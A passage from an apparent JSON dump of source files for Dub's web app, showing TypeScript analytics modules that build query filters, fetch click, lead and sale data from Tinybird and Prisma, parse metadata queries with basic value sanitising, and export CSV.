\"utm_medium\",\n  \"utm_campaign\",\n  \"utm_term\",\n  \"utm_content\",\n] as const;\n\ntype SupportedField = (typeof SUPPORTED_FIELDS)[number];\n\nexport function buildAdvancedFilters(\n  params: Partial<Record<SupportedField, ParsedFilter | undefined>>,\n): AdvancedFilter[] {\n  const filters: AdvancedFilter[] = [];\n\n  for (const field of SUPPORTED_FIELDS) {\n    const parsed = params[field];\n    if (!parsed) continue;\n\n    filters.push({\n      field,\n      operator: parsed.sqlOperator,\n      values: parsed.values,\n    });\n  }\n\n  return filters;\n}\n"
  },
  {
    "path": "apps/web/lib/analytics/format-date-tooltip.ts",
    "content": "import { getDaysDifference } from \"@dub/utils\";\n\nexport const formatDateTooltip = (\n  date: Date,\n  {\n    interval,\n    start,\n    end,\n    dataAvailableFrom,\n    timezone = Intl.DateTimeFormat().resolvedOptions().timeZone,\n  }: {\n    interval?: string;\n    start?: string | Date | null;\n    end?: string | Date | null;\n    dataAvailableFrom?: Date;\n    timezone?: string;\n  },\n) => {\n  // Convert date to local timezone (or provided timezone if specified)\n  const targetDate = new Date(\n    date.toLocaleString(\"en-US\", { timeZone: timezone }),\n  );\n\n  if (interval === \"all\" && dataAvailableFrom) {\n    start = dataAvailableFrom;\n    end = new Date(Date.now());\n  }\n\n  if (start && end) {\n    const daysDifference = getDaysDifference(start, end);\n\n    if (daysDifference <= 2)\n      return targetDate.toLocaleTimeString(\"en-US\", {\n        hour: \"numeric\",\n        minute: \"numeric\",\n      });\n    else if (daysDifference > 180)\n      return targetDate.toLocaleDateString(\"en-US\", {\n        month: \"short\",\n        year: \"numeric\",\n      });\n  } else if (interval) {\n    switch (interval) {\n      case \"24h\":\n        return targetDate.toLocaleTimeString(\"en-US\", {\n          hour: \"numeric\",\n          minute: \"numeric\",\n        });\n      case \"ytd\":\n      case \"1y\":\n      case \"all\":\n        return targetDate.toLocaleDateString(\"en-US\", {\n          month: \"short\",\n          year: \"numeric\",\n        });\n      default:\n        break;\n    }\n  }\n\n  return targetDate.toLocaleDateString(\"en-US\", {\n    weekday: \"short\",\n    month: \"short\",\n    day: \"numeric\",\n  });\n};\n"
  },
  {
    "path": "apps/web/lib/analytics/get-analytics.ts",
    "content": "import { tb } from \"@/lib/tinybird\";\nimport { prisma } from \"@dub/prisma\";\nimport { FolderAccessLevel } from \"@dub/prisma/client\";\nimport { linkConstructor, punyEncode } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { decodeKeyIfCaseSensitive } from \"../api/links/case-sensitivity\";\nimport { conn } from \"../planetscale\";\nimport { analyticsFilterTB } from \"../zod/schemas/analytics\";\nimport { analyticsResponse } from \"../zod/schemas/analytics-response\";\nimport {\n  DIMENSIONAL_ANALYTICS_FILTERS,\n  SINGULAR_ANALYTICS_ENDPOINTS,\n} from \"./constants\";\nimport {\n  buildAdvancedFilters,\n  ensureParsedFilter,\n  extractWorkspaceLinkFilters,\n  prepareFiltersForPipe,\n} from \"./filter-helpers\";\nimport { metadataQueryParser } from \"./metadata-query-parser\";\nimport { AnalyticsFilters } from \"./types\";\nimport { formatUTCDateTimeClickhouse } from \"./utils/format-utc-datetime-clickhouse\";\nimport { getStartEndDates } from \"./utils/get-start-end-dates\";\n\n// Fetch data for /api/analytics\nexport const getAnalytics = async (params: AnalyticsFilters) => {\n  let {\n    event,\n    groupBy,\n    workspaceId,\n    linkId,\n    interval,\n    start,\n    end,\n    qr,\n    trigger,\n    region,\n    country,\n    timezone = \"UTC\",\n    isDeprecatedClicksEndpoint = false,\n    dataAvailableFrom,\n    query,\n  } = params;\n\n  const normalizedLinkId = ensureParsedFilter(linkId);\n\n  // get all-time clicks count if:\n  // 1. linkId is defined\n  // 2. type is count\n  // 3. interval is all\n  // 4. no custom start or end date is provided\n  // 5. no other dimensional filters are applied\n  if (\n    normalizedLinkId &&\n    groupBy === \"count\" &&\n    interval === \"all\" &&\n    !start &&\n    !end &&\n    DIMENSIONAL_ANALYTICS_FILTERS.every(\n      (filter) => !params[filter as keyof AnalyticsFilters],\n    )\n  ) {\n    const linkIdPlaceholders = normalizedLinkId.values.map(() => \"?\").join(\",\");\n    const aggregateColumns =\n      event === \"composite\"\n        ? `SUM(clicks) as clicks, SUM(leads) as leads, SUM(sales) as sales, SUM(saleAmount) as saleAmount`\n        : event === \"sales\"\n          ? `SUM(sales) as sales, SUM(saleAmount) as saleAmount`\n          : `SUM(${event}) as ${event}`;\n\n    const response = await conn.execute(\n      `SELECT ${aggregateColumns} FROM Link WHERE id IN (${linkIdPlaceholders})`,\n      normalizedLinkId.values,\n    );\n\n    return analyticsResponse[\"count\"].parse(response.rows[0]);\n  }\n\n  if (groupBy === \"trigger\") groupBy = \"triggers\";\n\n  const { startDate, endDate, granularity } = getStartEndDates({\n    interval,\n    start,\n    end,\n    dataAvailableFrom,\n    timezone,\n  });\n\n  const { triggerForPipe, countryForPipe, regionForPipe } =\n    prepareFiltersForPipe({\n      qr,\n      trigger,\n      region,\n      country,\n    });\n\n  // Create a Tinybird pipe\n  const pipe = tb.buildPipe({\n    pipe: [\"count\", \"timeseries\"].includes(groupBy!)\n      ? `v4_${groupBy}`\n      : [\n            \"top_folders\",\n            \"top_link_tags\",\n            \"top_domains\",\n            \"top_partners\",\n            \"top_groups\",\n          ].includes(groupBy!)\n        ? \"v4_group_by_link_metadata\"\n        : \"v4_group_by\",\n    parameters: analyticsFilterTB,\n    data: z.object({\n      groupByField: z.string(),\n      clicks: z.number().default(0),\n      leads: z.number().default(0),\n      sales: z.number().default(0),\n      saleAmount: z.number().default(0),\n      // only for cities and regions groupBy\n      country: z.string().optional(),\n      region: z.string().optional(),\n    }),\n  });\n\n  const metadataFilters = metadataQueryParser(query) || [];\n\n  const advancedFilters = buildAdvancedFilters({\n    ...params,\n    country: countryForPipe,\n    trigger: triggerForPipe,\n  });\n\n  const allFilters = [...metadataFilters, ...advancedFilters];\n\n  const folderIdFilter = ensureParsedFilter(params.folderId);\n  const partnerIdFilter = ensureParsedFilter(params.partnerId);\n\n  const {\n    domain: domainParam,\n    domainOperator,\n    linkId: linkIdParam,\n    linkIdOperator,\n    folderId: folderIdParam,\n    folderIdOperator,\n    tagId: tagIdParam,\n    tagIdOperator,\n    partnerId: partnerIdParam,\n    partnerIdOperator,\n    groupId: groupIdParam,\n    groupIdOperator,\n    tenantId: tenantIdParam,\n    tenantIdOperator,\n  } = extractWorkspaceLinkFilters({\n    ...params,\n    partnerId: partnerIdFilter,\n    linkId: normalizedLinkId,\n    folderId: folderIdFilter,\n  });\n\n  const tinybirdParams: any = {\n    workspaceId,\n    customerId: params.customerId,\n    programId: params.programId,\n    partnerId: partnerIdParam,\n    partnerIdOperator,\n    tenantId: tenantIdParam,\n    tenantIdOperator,\n    groupId: groupIdParam,\n    groupIdOperator,\n    linkId: linkIdParam,\n    linkIdOperator,\n    domain: domainParam,\n    domainOperator,\n    folderId: folderIdParam,\n    folderIdOperator,\n    tagId: tagIdParam,\n    tagIdOperator,\n    groupBy,\n    eventType: event,\n    start: formatUTCDateTimeClickhouse(startDate),\n    end: formatUTCDateTimeClickhouse(endDate),\n    granularity,\n    timezone,\n    region: typeof regionForPipe === \"string\" ? regionForPipe : undefined,\n    root: params.root,\n    saleType: params.saleType,\n    filters: allFilters.length > 0 ? JSON.stringify(allFilters) : undefined,\n  };\n\n  const response = await pipe(tinybirdParams);\n\n  if (groupBy === \"count\") {\n    const { groupByField, ...rest } = response.data[0];\n    // Return the count value for deprecated count endpoints\n    if (isDeprecatedClicksEndpoint) {\n      return rest[event!];\n      // Return the object for regular count endpoints\n    } else {\n      return rest;\n    }\n  } else if (groupBy === \"top_links\") {\n    const links = await prisma.link.findMany({\n      where: {\n        id: {\n          in: response.data.map((item) => item.groupByField),\n        },\n      },\n      select: {\n        id: true,\n        domain: true,\n        key: true,\n        url: true,\n        title: true,\n        comments: true,\n        folderId: true,\n        partnerId: true,\n        createdAt: true,\n      },\n    });\n\n    return response.data\n      .map((item) => {\n        const link = links.find((l) => l.id === item.groupByField);\n        if (!link) {\n          return null;\n        }\n\n        link.key = decodeKeyIfCaseSensitive({\n          domain: link.domain,\n          key: link.key,\n        });\n\n        return analyticsResponse[groupBy].parse({\n          ...link,\n          link: link.id,\n          key: punyEncode(link.key),\n          shortLink: linkConstructor({\n            domain: link.domain,\n            key: punyEncode(link.key),\n          }),\n          createdAt: link.createdAt.toISOString(),\n          ...item,\n        });\n      })\n      .filter((d) => d !== null);\n  } else if (groupBy === \"top_partners\") {\n    const partners = await prisma.partner.findMany({\n      where: {\n        id: {\n          in: response.data.map((item) => item.groupByField),\n        },\n      },\n      select: {\n        id: true,\n        name: true,\n        image: true,\n        country: true,\n        payoutsEnabledAt: true,\n      },\n    });\n\n    return response.data\n      .map((item) => {\n        const partner = partners.find((p) => p.id === item.groupByField);\n        if (!partner) return null;\n        return analyticsResponse[groupBy].parse({\n          ...item,\n          partnerId: item.groupByField,\n          partner: {\n            ...partner,\n            payoutsEnabledAt: partner.payoutsEnabledAt?.toISOString() || null,\n          },\n        });\n      })\n      .filter((d) => d !== null);\n  } else if (groupBy === \"top_link_tags\") {\n    const tags = await prisma.tag.findMany({\n      where: {\n        id: {\n          in: response.data.map((item) => item.groupByField),\n        },\n      },\n    });\n\n    return response.data\n      .map((item) => {\n        const tag = tags.find((t) => t.id === item.groupByField);\n        if (!tag) return null;\n        return analyticsResponse[groupBy].parse({\n          ...item,\n          tagId: item.groupByField,\n          tag,\n        });\n      })\n      .filter((d) => d !== null);\n  } else if (groupBy === \"top_folders\") {\n    const folders = await prisma.folder.findMany({\n      where: {\n        id: {\n          in: response.data.map((item) => item.groupByField),\n        },\n      },\n      select: {\n        id: true,\n        name: true,\n        accessLevel: true,\n      },\n    });\n\n    return response.data\n      .map((item) => {\n        const folder = folders.find((f) => f.id === item.groupByField);\n        if (!folder) return null;\n        return analyticsResponse.top_folders\n          .extend({\n            folder: analyticsResponse.top_folders.shape.folder.extend({\n              accessLevel: z.enum(FolderAccessLevel).nullish(),\n            }),\n          })\n          .parse({\n            ...item,\n            folderId: item.groupByField,\n            folder,\n          });\n      })\n      .filter((d) => d !== null);\n  } else if (groupBy === \"top_groups\") {\n    const groups = await prisma.partnerGroup.findMany({\n      where: {\n        id: {\n          in: response.data.map((item) => item.groupByField),\n        },\n      },\n      select: {\n        id: true,\n        name: true,\n        slug: true,\n        color: true,\n      },\n    });\n\n    return response.data\n      .map((item) => {\n        const group = groups.find((g) => g.id === item.groupByField);\n\n        if (!group) return null;\n\n        return analyticsResponse[groupBy].parse({\n          ...item,\n          groupId: item.groupByField,\n          group,\n        });\n      })\n      .filter((d) => d !== null);\n  }\n\n  // Return array for other endpoints\n  const schema = analyticsResponse[groupBy!];\n\n  return response.data.map((item) =>\n    schema.parse({\n      ...item,\n      [SINGULAR_ANALYTICS_ENDPOINTS[groupBy!]]: item.groupByField,\n    }),\n  );\n};\n"
  },
  {
    "path": "apps/web/lib/analytics/get-customer-events.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Link } from \"@dub/prisma/client\";\nimport { transformLink } from \"../api/links\";\nimport { decodeLinkIfCaseSensitive } from \"../api/links/case-sensitivity\";\nimport { getCustomerEventsTB } from \"../tinybird/get-customer-events-tb\";\nimport {\n  clickEventResponseSchema,\n  clickEventSchema,\n} from \"../zod/schemas/clicks\";\nimport { leadEventResponseSchema } from \"../zod/schemas/leads\";\nimport { saleEventResponseSchema } from \"../zod/schemas/sales\";\n\nexport const getCustomerEvents = async ({\n  customerId,\n  linkIds,\n}: {\n  customerId: string;\n  linkIds?: string[];\n}) => {\n  const response = await getCustomerEventsTB({\n    customerId,\n    linkIds,\n  });\n\n  const linksMap = await getLinksMap(response.data.map((d) => d.link_id));\n\n  const events = response.data\n    .map((evt) => {\n      let link = linksMap[evt.link_id];\n      if (!link) {\n        return null;\n      }\n\n      link = decodeLinkIfCaseSensitive(link);\n\n      const eventData = {\n        ...evt,\n        // use link domain & key from mysql instead of tinybird\n        domain: link.domain,\n        key: link.key,\n        // timestamp is always in UTC\n        timestamp: new Date(evt.timestamp + \"Z\"),\n        click: clickEventSchema.parse({\n          ...evt,\n          id: evt.click_id,\n          // normalize processed values\n          region: evt.region_processed ?? \"\",\n          refererUrl: evt.referer_url_processed ?? \"\",\n        }),\n        // transformLink -> add shortLink, qrCode, workspaceId, etc.\n        link: transformLink(link, { skipDecodeKey: true }),\n        ...(evt.event === \"lead\" || evt.event === \"sale\"\n          ? {\n              eventId: evt.event_id,\n              eventName: evt.event_name,\n              metadata: evt.metadata ? JSON.parse(evt.metadata) : undefined,\n              ...(evt.event === \"sale\"\n                ? {\n                    sale: {\n                      amount: evt.saleAmount,\n                      invoiceId: evt.invoice_id,\n                      paymentProcessor: evt.payment_processor,\n                    },\n                  }\n                : {}),\n            }\n          : {}),\n      };\n\n      return {\n        click: clickEventResponseSchema,\n        lead: leadEventResponseSchema.omit({ customer: true }),\n        sale: saleEventResponseSchema.omit({ customer: true }),\n      }[evt.event].parse(eventData);\n    })\n    .filter((d) => d !== null);\n\n  return events;\n};\n\nconst getLinksMap = async (linkIds: string[]) => {\n  const links = await prisma.link.findMany({\n    where: {\n      id: {\n        in: linkIds,\n      },\n    },\n  });\n\n  return links.reduce(\n    (acc, link) => {\n      acc[link.id] = link;\n      return acc;\n    },\n    {} as Record<string, Link>,\n  );\n};\n"
  },
  {
    "path": "apps/web/lib/analytics/get-events.ts",
    "content": "import { tb } from \"@/lib/tinybird\";\nimport { prisma } from \"@dub/prisma\";\nimport { Link } from \"@dub/prisma/client\";\nimport { OG_AVATAR_URL } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { decodeLinkIfCaseSensitive } from \"../api/links/case-sensitivity\";\nimport { transformLink } from \"../api/links/utils/transform-link\";\nimport { generateRandomName } from \"../names\";\nimport { eventsFilterTB } from \"../zod/schemas/analytics\";\nimport {\n  clickEventResponseSchema,\n  clickEventSchema,\n  clickEventSchemaTBEndpoint,\n} from \"../zod/schemas/clicks\";\nimport { CustomerSchema } from \"../zod/schemas/customers\";\nimport {\n  leadEventResponseSchema,\n  leadEventSchemaTBEndpoint,\n} from \"../zod/schemas/leads\";\nimport {\n  saleEventResponseSchema,\n  saleEventSchemaTBEndpoint,\n} from \"../zod/schemas/sales\";\nimport {\n  buildAdvancedFilters,\n  ensureParsedFilter,\n  extractWorkspaceLinkFilters,\n  prepareFiltersForPipe,\n} from \"./filter-helpers\";\nimport { metadataQueryParser } from \"./metadata-query-parser\";\nimport { EventsFilters } from \"./types\";\nimport { formatUTCDateTimeClickhouse } from \"./utils/format-utc-datetime-clickhouse\";\nimport { getStartEndDates } from \"./utils/get-start-end-dates\";\n\n// Fetch data for /api/events\nexport const getEvents = async (params: EventsFilters) => {\n  let {\n    event: eventType,\n    workspaceId,\n    interval,\n    start,\n    end,\n    timezone = \"UTC\",\n    qr,\n    trigger,\n    region,\n    country,\n    order,\n    sortOrder,\n    dataAvailableFrom,\n    query,\n  } = params;\n\n  const { startDate, endDate } = getStartEndDates({\n    interval,\n    start,\n    end,\n    dataAvailableFrom,\n    timezone,\n  });\n\n  const { triggerForPipe, countryForPipe, regionForPipe } =\n    prepareFiltersForPipe({\n      qr,\n      trigger,\n      region,\n      country,\n    });\n\n  // support legacy order param\n  if (order && order !== \"desc\") {\n    sortOrder = order;\n  }\n\n  const pipe = tb.buildPipe({\n    pipe: \"v4_events\",\n    parameters: eventsFilterTB,\n    data:\n      {\n        clicks: clickEventSchemaTBEndpoint,\n        leads: leadEventSchemaTBEndpoint,\n        sales: saleEventSchemaTBEndpoint,\n      }[eventType] ?? clickEventSchemaTBEndpoint,\n  });\n\n  const metadataFilters = metadataQueryParser(query) || [];\n\n  // Build advanced filters for event-level dimensions\n  const advancedFilters = buildAdvancedFilters({\n    ...params,\n    country: countryForPipe,\n    trigger: triggerForPipe,\n  });\n\n  const allFilters = [...metadataFilters, ...advancedFilters];\n\n  const partnerIdFilter = ensureParsedFilter(params.partnerId);\n  const linkIdFilter = ensureParsedFilter(params.linkId);\n  const folderIdFilter = ensureParsedFilter(params.folderId);\n\n  const {\n    linkId: linkIdParam,\n    linkIdOperator,\n    domain: domainParam,\n    domainOperator,\n    tagId: tagIdParam,\n    tagIdOperator,\n    folderId: folderIdParam,\n    folderIdOperator,\n    partnerId: partnerIdParam,\n    partnerIdOperator,\n    groupId: groupIdParam,\n    groupIdOperator,\n    tenantId: tenantIdParam,\n    tenantIdOperator,\n  } = extractWorkspaceLinkFilters({\n    ...params,\n    partnerId: partnerIdFilter,\n    linkId: linkIdFilter,\n    folderId: folderIdFilter,\n  });\n\n  const tinybirdParams: any = {\n    eventType,\n    workspaceId,\n    programId: params.programId,\n    customerId: params.customerId,\n    linkId: linkIdParam,\n    linkIdOperator,\n    folderId: folderIdParam,\n    folderIdOperator,\n    partnerId: partnerIdParam,\n    partnerIdOperator,\n    tenantId: tenantIdParam,\n    tenantIdOperator,\n    groupId: groupIdParam,\n    groupIdOperator,\n    ...(typeof triggerForPipe !== \"object\" && triggerForPipe\n      ? { trigger: triggerForPipe }\n      : {}),\n    ...(typeof countryForPipe !== \"object\" && countryForPipe\n      ? { country: countryForPipe }\n      : {}),\n    ...(typeof regionForPipe === \"string\" ? { region: regionForPipe } : {}),\n    // Workspace links filters with operators\n    ...(domainParam ? { domain: domainParam, domainOperator } : {}),\n    ...(tagIdParam ? { tagId: tagIdParam, tagIdOperator } : {}),\n    ...(folderIdParam ? { folderId: folderIdParam, folderIdOperator } : {}),\n    ...(params.root !== undefined ? { root: params.root } : {}),\n    ...(params.saleType ? { saleType: params.saleType } : {}),\n    order: sortOrder,\n    offset: (params.page - 1) * params.limit,\n    limit: params.limit,\n    sortBy: params.sortBy,\n    start: formatUTCDateTimeClickhouse(startDate),\n    end: formatUTCDateTimeClickhouse(endDate),\n    filters: allFilters.length > 0 ? JSON.stringify(allFilters) : undefined,\n  };\n\n  const response = await pipe(tinybirdParams);\n\n  const [linksMap, customersMap] = await Promise.all([\n    getLinksMap(response.data.map((d) => d.link_id)),\n    getCustomersMap(\n      response.data\n        .map((d) => {\n          if (d.event === \"lead\" || d.event === \"sale\") {\n            return d.customer_id;\n          }\n          return null;\n        })\n        .filter(Boolean) as string[],\n    ),\n  ]);\n\n  const events = response.data\n    .map((evt) => {\n      let link = linksMap[evt.link_id];\n      if (!link) {\n        return null;\n      }\n\n      link = decodeLinkIfCaseSensitive(link);\n\n      const transformedLink = transformLink(link, { skipDecodeKey: true });\n      if (\n        transformedLink.testVariants &&\n        !Array.isArray(transformedLink.testVariants)\n      ) {\n        transformedLink.testVariants = null;\n      }\n\n      const eventData = {\n        ...evt,\n        // use link domain & key from mysql instead of tinybird\n        domain: link.domain,\n        key: link.key,\n        // timestamp is always in UTC\n        timestamp: new Date(evt.timestamp + \"Z\"),\n        click: clickEventSchema.parse({\n          ...evt,\n          id: evt.click_id,\n          // normalize processed values\n          region: evt.region_processed ?? \"\",\n          refererUrl: evt.referer_url_processed ?? \"\",\n        }),\n        // transformLink -> add shortLink, qrCode, workspaceId, etc.\n        link: transformedLink,\n        ...(evt.event === \"lead\" || evt.event === \"sale\"\n          ? {\n              eventId: evt.event_id,\n              eventName: evt.event_name,\n              metadata: evt.metadata ? JSON.parse(evt.metadata) : undefined,\n              customer: customersMap[evt.customer_id] ?? {\n                id: evt.customer_id,\n                name: \"Deleted Customer\",\n                email: \"deleted@customer.com\",\n                avatar: `${OG_AVATAR_URL}${evt.customer_id}`,\n                externalId: evt.customer_id,\n                createdAt: new Date(\"1970-01-01\"),\n              },\n              ...(evt.event === \"sale\"\n                ? {\n                    sale: {\n                      amount: evt.saleAmount,\n                      invoiceId: evt.invoice_id,\n                      paymentProcessor: evt.payment_processor,\n                    },\n                  }\n                : {}),\n            }\n          : {}),\n      };\n\n      if (evt.event === \"click\") {\n        return clickEventResponseSchema.parse(eventData);\n      } else if (evt.event === \"lead\") {\n        return leadEventResponseSchema.parse(eventData);\n      } else if (evt.event === \"sale\") {\n        return saleEventResponseSchema.parse(eventData);\n      }\n\n      return eventData;\n    })\n    .filter((d) => d !== null);\n\n  return events;\n};\n\nconst getLinksMap = async (linkIds: string[]) => {\n  const links = await prisma.link.findMany({\n    where: {\n      id: {\n        in: linkIds,\n      },\n    },\n  });\n\n  return links.reduce(\n    (acc, link) => {\n      acc[link.id] = link;\n      return acc;\n    },\n    {} as Record<string, Link>,\n  );\n};\n\nconst getCustomersMap = async (customerIds: string[]) => {\n  if (customerIds.length === 0) {\n    return {};\n  }\n\n  const customers = await prisma.customer.findMany({\n    where: {\n      id: {\n        in: customerIds,\n      },\n    },\n  });\n\n  return customers.reduce(\n    (acc, customer) => {\n      acc[customer.id] = CustomerSchema.parse({\n        id: customer.id,\n        externalId: customer.externalId || \"\",\n        name: customer.name || customer.email || generateRandomName(),\n        email: customer.email || \"\",\n        avatar: customer.avatar || `${OG_AVATAR_URL}${customer.id}`,\n        country: customer.country || \"\",\n        createdAt: customer.createdAt,\n      });\n      return acc;\n    },\n    {} as Record<string, z.infer<typeof CustomerSchema>>,\n  );\n};\n"
  },
  {
    "path": "apps/web/lib/analytics/get-folder-ids-to-filter.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Project } from \"@dub/prisma/client\";\nimport { getFolders } from \"../folder/get-folders\";\nimport { getPlanCapabilities } from \"../plan-capabilities\";\n\nexport const getFolderIdsToFilter = async ({\n  workspace,\n  userId,\n}: {\n  workspace: Pick<Project, \"id\" | \"plan\" | \"foldersUsage\">;\n  userId: string;\n}) => {\n  if (workspace.foldersUsage === 0) {\n    return undefined;\n  }\n\n  // If the request is not for a specific folder, find folders the user has access to + unsorted folder\n  let folderIds: string[] | undefined = undefined;\n\n  const { canManageFolderPermissions } = getPlanCapabilities(workspace.plan);\n\n  // if rbac is enabled, we need to get all folders the user has access to\n  if (canManageFolderPermissions) {\n    const folders = await getFolders({\n      workspaceId: workspace.id,\n      userId,\n      type: \"default\",\n      pageSize: 1000, // TODO: might need to handle this if folks have > 1000 folders in the future\n    });\n\n    folderIds = folders.map((folder) => folder.id).concat(\"\");\n    // else, just get all folders for the workspace\n  } else {\n    const folders = await prisma.folder.findMany({\n      where: {\n        projectId: workspace.id,\n      },\n    });\n\n    folderIds = folders.map((folder) => folder.id).concat(\"\");\n  }\n\n  return folderIds;\n};\n"
  },
  {
    "path": "apps/web/lib/analytics/is-first-conversion.ts",
    "content": "import { Customer } from \"@dub/prisma/client\";\n\nexport const isFirstConversion = ({\n  customer,\n  linkId,\n}: {\n  customer: Pick<Customer, \"sales\" | \"linkId\">;\n  linkId?: string;\n}) => {\n  // if this is the first sale for the customer, it's a first conversion\n  if (customer.sales === 0) {\n    return true;\n  }\n\n  // if customer has sales, but the original referral link is not the same as the current link\n  // it is most likely a first conversion\n  if (customer.linkId !== linkId) {\n    // TODO: fix edge case where customer was brought in by a different link, but then had recurring sales on the current link\n    return true;\n  }\n\n  return false;\n};\n"
  },
  {
    "path": "apps/web/lib/analytics/metadata-query-parser.ts",
    "content": "import { EventsFilters } from \"./types\";\n\ninterface InternalFilter {\n  operand: string;\n  operator:\n    | \"equals\"\n    | \"notEquals\"\n    | \"greaterThan\"\n    | \"lessThan\"\n    | \"greaterThanOrEqual\"\n    | \"lessThanOrEqual\";\n  value: string;\n}\n\n// Query parser that can parse the query string into a list of filters\nexport const metadataQueryParser = (query: EventsFilters[\"query\"]) => {\n  if (!query) {\n    return undefined;\n  }\n\n  const filters: InternalFilter[] = [];\n\n  // Split the query by logical operators (AND/OR) to handle multiple conditions\n  // For now, we'll focus on single conditions, but this structure allows for future expansion\n  const conditions = query.split(/\\s+(?:AND|and|OR|or)\\s+/);\n\n  for (const condition of conditions) {\n    const trimmedCondition = condition.trim();\n\n    if (!trimmedCondition) {\n      continue;\n    }\n\n    const filter = parseCondition(trimmedCondition);\n\n    if (!filter) {\n      continue;\n    }\n\n    filters.push(filter);\n  }\n\n  return filters.length > 0 ? filters : undefined;\n};\n\n// Parses a single condition in the format: field:value, field>value, or metadata['key']:value\nfunction parseCondition(condition: string): InternalFilter | null {\n  // This regex captures:\n  // 1. field - either a regular field name OR metadata with bracket notation (supports both single and double quotes)\n  // 2. operator - :, >, <, >=, <=, !=\n  // 3. value - the value after the operator (supports quoted and unquoted values)\n  const unifiedPattern =\n    /^([a-zA-Z_][a-zA-Z0-9_]*|metadata\\[['\"][^'\"]*['\"]\\](?:\\[['\"][^'\"]*['\"]\\])*)\\s*([:><=!]+)\\s*(.+)$/;\n\n  const match = condition.match(unifiedPattern);\n\n  if (!match) {\n    return null;\n  }\n\n  // Extract the matched groups\n  const [, fieldOrMetadata, operator, value] = match;\n\n  let operand: string;\n\n  // Determine the operand based on whether it's metadata or a regular field\n  if (fieldOrMetadata.startsWith(\"metadata\")) {\n    const keyPath = fieldOrMetadata.replace(/^metadata/, \"\");\n\n    const extractedKey = keyPath\n      .replace(/^\\[['\"]|['\"]\\]$/g, \"\") // Remove leading [' or [\" and trailing '] or \"]\n      .replace(/\\[['\"]/g, \".\") // Replace [' or [\" with .\n      .replace(/['\"]\\]/g, \"\"); // Remove trailing '] or \"]\n\n    // Security: Validate metadata key contains only safe characters\n    // Only allow alphanumeric and underscore and dots\n    if (!/^[a-zA-Z0-9_.]+$/.test(extractedKey)) return null;\n\n    operand = `metadata.${extractedKey}`;\n  } else {\n    operand = fieldOrMetadata;\n  }\n\n  // Security: Sanitize value to prevent SQL injection\n  // Remove potentially dangerous characters from the value\n  const sanitizedValue = value\n    .trim()\n    .replace(/^['\"`]|['\"`]$/g, \"\")\n    .replace(/[;\\\\]|--|\\*\\/|\\/\\*/g, \"\");\n\n  if (!sanitizedValue) return null;\n\n  return {\n    operand,\n    operator: mapOperator(operator),\n    value: sanitizedValue,\n  };\n}\n\n// Maps operator strings to our internal operator types\nfunction mapOperator(operator: string): InternalFilter[\"operator\"] {\n  switch (operator) {\n    case \":\":\n    case \"=\":\n      return \"equals\";\n    case \">\":\n      return \"greaterThan\";\n    case \"<\":\n      return \"lessThan\";\n    case \">=\":\n      return \"greaterThanOrEqual\";\n    case \"<=\":\n      return \"lessThanOrEqual\";\n    case \"!=\":\n      return \"notEquals\";\n    default:\n      // For unsupported operators, default to equals\n      return \"equals\";\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/analytics/types.ts",
    "content": "import { ParsedFilter } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport {\n  analyticsQuerySchema,\n  eventsQuerySchema,\n} from \"../zod/schemas/analytics\";\nimport { analyticsResponse } from \"../zod/schemas/analytics-response\";\nimport { getPartnerEarningsTimeseriesSchema } from \"../zod/schemas/partner-profile\";\nimport {\n  ANALYTICS_SALE_UNIT,\n  ANALYTICS_VIEWS,\n  DATE_RANGE_INTERVAL_PRESETS,\n  EVENT_TYPES,\n  VALID_ANALYTICS_ENDPOINTS,\n} from \"./constants\";\n\ntype Override<T, U> = Omit<T, keyof U> & U;\n\nexport type IntervalOptions = (typeof DATE_RANGE_INTERVAL_PRESETS)[number];\n\nexport type AnalyticsGroupByOptions =\n  (typeof VALID_ANALYTICS_ENDPOINTS)[number];\n\nexport type AnalyticsResponseOptions =\n  | \"clicks\"\n  | \"leads\"\n  | \"sales\"\n  | \"saleAmount\";\n\nexport type AnalyticsResponse = {\n  [K in keyof typeof analyticsResponse]: z.infer<(typeof analyticsResponse)[K]>;\n};\n\nexport type EventType = (typeof EVENT_TYPES)[number];\n\nexport type AnalyticsView = (typeof ANALYTICS_VIEWS)[number];\nexport type AnalyticsSaleUnit = (typeof ANALYTICS_SALE_UNIT)[number];\n\nexport type DeviceTabs = \"devices\" | \"browsers\" | \"os\" | \"triggers\";\n\nexport type AnalyticsFilters = Partial<\n  Omit<\n    z.infer<typeof analyticsQuerySchema>,\n    \"start\" | \"end\" | \"partnerId\" | \"linkId\"\n  >\n> & {\n  workspaceId?: string;\n  dataAvailableFrom?: Date;\n  isDeprecatedClicksEndpoint?: boolean;\n  start?: Date | null;\n  end?: Date | null;\n  // Accept plain string (from partner-profile/cron routes) or ParsedFilter (from API schema)\n  partnerId?: string | ParsedFilter;\n  linkId?: string | ParsedFilter;\n};\n\n// Structural fields from eventsQuerySchema that should remain required\ntype EventsStructuralFields = Pick<\n  z.infer<typeof eventsQuerySchema>,\n  \"event\" | \"page\" | \"limit\" | \"sortBy\"\n>;\n\nexport type EventsFilters = Partial<\n  Omit<\n    z.infer<typeof eventsQuerySchema>,\n    \"start\" | \"end\" | \"partnerId\" | \"linkId\" | keyof EventsStructuralFields\n  >\n> &\n  EventsStructuralFields & {\n    workspaceId?: string;\n    dataAvailableFrom?: Date;\n    customerId?: string;\n    start?: Date | null;\n    end?: Date | null;\n    // Accept plain string (from partner-profile/cron routes) or ParsedFilter (from API schema)\n    partnerId?: string | ParsedFilter;\n    linkId?: string | ParsedFilter;\n  };\n\nconst partnerAnalyticsSchema = analyticsQuerySchema\n  .pick({\n    event: true,\n    interval: true,\n    start: true,\n    end: true,\n    groupBy: true,\n  })\n  .partial();\n\nexport type PartnerAnalyticsFilters = z.infer<typeof partnerAnalyticsSchema> & {\n  linkId?: string;\n};\nexport type PartnerEarningsTimeseriesFilters = z.infer<\n  typeof getPartnerEarningsTimeseriesSchema\n>;\n"
  },
  {
    "path": "apps/web/lib/analytics/utils/convert-to-csv.ts",
    "content": "import { json2csv } from \"json-2-csv\";\n\nexport const convertToCSV = (data: object[]) => {\n  return json2csv(data, {\n    parseValue(fieldValue, defaultParser) {\n      if (fieldValue instanceof Date) {\n        return fieldValue.toISOString();\n      }\n      return defaultParser(fieldValue);\n    },\n  });\n};\n"
  },
  {
